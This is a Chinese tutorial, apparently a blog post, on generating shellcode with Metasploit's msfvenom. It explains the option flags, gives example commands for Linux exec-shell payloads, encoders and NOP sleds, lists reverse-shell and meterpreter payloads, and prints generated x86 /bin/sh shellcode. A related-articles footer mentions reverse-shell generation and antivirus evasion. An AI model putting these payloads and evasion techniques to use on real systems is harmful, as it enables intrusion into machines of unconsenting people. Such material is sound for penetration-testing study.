metasploit-shellcode生成
0x00 安装metasploit
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall
0x01 参数介绍
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
1. -p 指定payload的功能
--payload:确定payload类型
--payload-options:查看对应payload类型子选项
例:
msfvenom -p linux/x86/exec CMD=/bin/sh 执行shell
2. -a 指定处理器架构和操作平台
--arch:指定处理器架构
--platform:指定平台
例:
msfvenom -a x86 --platform linux
3. -f 指定输出格式
例:
msfvenom -a x86 --platform linux -f python payload以python语言格式输出
4. -b 指定规避字符串(以字符的16进制表示)
例:
msfvenom -a x86 --platform linux -b "\x00\x0a" 生成的payload中不允许出现'\x00'和'\x0a'
5. -e 指定编码器
例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed
6. -n 在payload前填充Nop Sled
--nopsled:指定rop类型
<length>:指定rop长度
例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -n x86/single_byte 120
7. -l 列出msf中payload类型,编码器类型,NOP类型
msfvenom -l
Framework Payloads (486 total)
==============================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
......
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
......
Framework NOPs (9 total)
========================
Name Description
---- -----------
armle/simple Simple NOP generator
mipsbe/better Better NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator
sparc/random SPARC NOP generator
tty/generic Generates harmless padding for TTY input
x64/simple An x64 single/multi byte NOP instruction generator.
x86/opty2 Opty2 multi-byte NOP generator
x86/single_byte Single-byte NOP generator
8. -v 指定payload名字
payload默认叫buf
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -f python
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 192 bytes
buf = ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
buf += "\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1\xcd\x80"
例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -v payload -f python
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 222 bytes
payload = ""
payload += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68"
payload += "\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52"
payload += "\xe8\x03\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1"
payload += "\xcd\x80"
9. 其他参数我没有深究
0x02 参考
生成自己的Alphanumeric/Printable shellcode
工具总归是工具,自己还是要会写,fighting!! 。
metasploit-shellcode生成的更多相关文章
- [原创]CobaltStrike & Metasploit Shellcode一键免杀工具
CobaltStrike & Metasploit Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...
- Metasploit+python生成免杀exe过360杀毒
Metasploit+python生成免杀exe过360杀毒 1在kali下生成一个反弹的msf的python脚本,命令如下: msfvenom -p windows/meterpreter/reve ...
- MSFVENOM SHELLCODE生成备忘录
MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHO ...
- windows:shellcode生成框架和加载
https://www.cnblogs.com/theseventhson/p/13194646.html 分享了shellcode 的基本原理,核心思路是动态获取GetProcAddress和Lo ...
- shellcode生成框架
因为vs编译后自己会生成很多东西,我们稍微配置下 先获取kernel32基址 __declspec(naked) DWORD getKernel32() { __asm { mov eax, fs:[ ...
- Kali-linux免杀Payload生成工具Veil
Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件.本节将介绍Veil工具的安装及使用. 在Kali Linux中,默认没有安装Vei ...
- Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
- 使用metasploit进行栈溢出攻击-2
基本的栈溢出搞明白了,真实攻击中一个很重要的问题是shellcode生成. 利用Metasploit提供的工具,可以方便的生成shellcode,然后可以使用第一篇中的代码进行验证. 先说一下如何生成 ...
- metasploit 一款开源的渗透测试框架
渗透神器漏洞利用框架metasploit from: https://zhuanlan.zhihu.com/p/30743401 metasploit是一款开源的渗透测试框架软件也是一个逐步发展与成熟 ...
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
随机推荐
- ZOJ3158 【DFS】
题意: 从上往下切割,不能切边缘,然后问你两个差值,要小于给出的值. 思路: 直接爆搜,枚举每一行的劈开位置: #include<bits/stdc++.h> using namespac ...
- [Xcode 实际操作]二、视图与手势-(3)UIView视图的基本操作
目录:[Swift]Xcode实际操作 本文将实现视图的添加与删除,以及切换视图在父视图中的层次. import UIKit class ViewController: UIViewControlle ...
- [Xcode 实际操作]八、网络与多线程-(16)使用网址会话对象URLSession下载图片并显示下载进度
目录:[Swift]Xcode实际操作 本文将演示如何通过网址会话对象URLSession显示下载图片的进度. 网址会话对象URLSession具有在后台上传和下载.暂停和恢复网络操作.丰富的代理模式 ...
- CSS优先级、CSS选择器、编写CSS时的注意事项
CSS的优先级: 内嵌样式>ID选择器>类选择器>标签选择器 内部样式>内部样式>外部样式 CSS的选择器: 选择器:在 CSS 中,选择器是一种模式,用于选择需要添加样 ...
- Java之多线程同步基础
java学习的道路上呢总有一些麻烦的东西需要花费一些时间去理解,比如个人认为不好搞的多线程. 线程是并列运行的 因为是并列运行,所以有时候会发生资源抢占,从而导致参数变化; 比如酱紫 package ...
- Git - .gitignore怎么忽略已经被版本控制的文件
问题 如果某个文件已经存在于远程仓库了,也就是说某个文件已经被版本控制了,如果将该文件添加到.gitignore中,是无法生效的.因为.gitignore是用来控制尚未被纳入版本控制的文件,如果文件已 ...
- Java - 怎么通过环境变量来切换jdk版本
问题与分析 我在本地安装了1.7和1.8两个版本的jdk,此时我的JAVA_HOME环境变量配置的是jdk1.8,在cmd窗口输入java -version发现报错如下: C:\Users\Lewis ...
- JAVA 7新特性——在单个catch代码块中捕获多个异常,以及用升级版的类型检查重新抛出异常
在Java 7中,catch代码块得到了升级,用以在单个catch块中处理多个异常.如果你要捕获多个异常并且它们包含相似的代码,使用这一特性将会减少代码重复度.下面用一个例子来理解. Java 7之前 ...
- VLAN-1-VLAN配置
f0/12和f0/24不在列表中,因为它们动态地成为trunk,支持多个vlan “unsup”意为这个2950交换机不支持FDDI和TR 首先 switchport mode ...
- python数据结构转换&格式化
列表,元组和字符串python中有三个内建函数:,他们之间的互相转换使用三个函数,str(),tuple()和list(),具体示例如下所示 >>> s = "xxxxx& ...